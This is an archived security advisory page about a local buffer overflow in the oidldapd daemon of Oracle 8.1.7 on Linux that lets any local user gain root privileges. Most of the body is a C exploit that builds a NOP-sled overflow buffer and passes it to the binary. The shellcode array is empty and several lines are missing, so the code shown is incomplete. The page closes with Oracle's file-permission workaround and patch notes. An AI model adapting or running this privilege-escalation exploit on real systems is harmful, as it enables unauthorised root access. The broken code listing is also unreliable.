Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Oracle :: oracle20.htm

Oracle 8.1.7 Buffer Overflow

    Oracle (oidldapd)


    Oracle 8.1.7


    Following  is  based  on  a  Plazasite  System & Security Division
    Security Advisory by  Juan Manuel Pascual.   oidldapd is a  Oracle
    Internet Directory.   Oracle Ldap Daemon.   The actual version  is

    There is a buffer  overflow in oidldapd that  can be use by  local
    users to obtain  euid of root  user.  Easy  for user oracle.   Any
    user with local access, can gain euid= root.

    Exploit Code for oidldapd in Oracle 8.1.7 (8ir3) for Linux. I tested in RH 6.2
    and 6.1.

    synopsis: buffer overflow in oidldapd
    impact:   any local user gain euid=root.

    Dedicated to my mentors. Cra & Borja. Thanks for your knowledge and wisdom.

    #include <stdio.h>
    #include <stdlib.h>

    #define DEFAULT_OFFSET                -400
    #define DEFAULT_BUFFER_SIZE             700
    #define NOP                            0x90
    #define ORACLE_HOME		"/work/oracle8ir3"

    char shellcode[] =

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");

    void main(int argc, char *argv[]) {
      char *buff, *ptr,*name[3],environ[100],binary[120];
      long *addr_ptr, addr;
      int i;

      buff = malloc(bsize);
      addr = get_sp() - offset;
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';



      sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);


    Oracle  recommends   that  customers   implement  the    following
    workaround:  change the file permissions to 710 on the  'oidldapd'
    and 'oidmon'  executables.   These permissions  will limit  access
    (to the executables) to a small, privileged group of users on  the
    host machine.

    Oracle has comprehensively fixed these vulnerabilities in the  OID
    2.0, Release, patch set on Solaris and in the  forthcoming
    OID 2.1, Release, patch set. The OID patch set  is
    available on  Metalink, Oracle's  Support Services  site.   Oracle
    intends to produce this patch on additional platforms as well.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH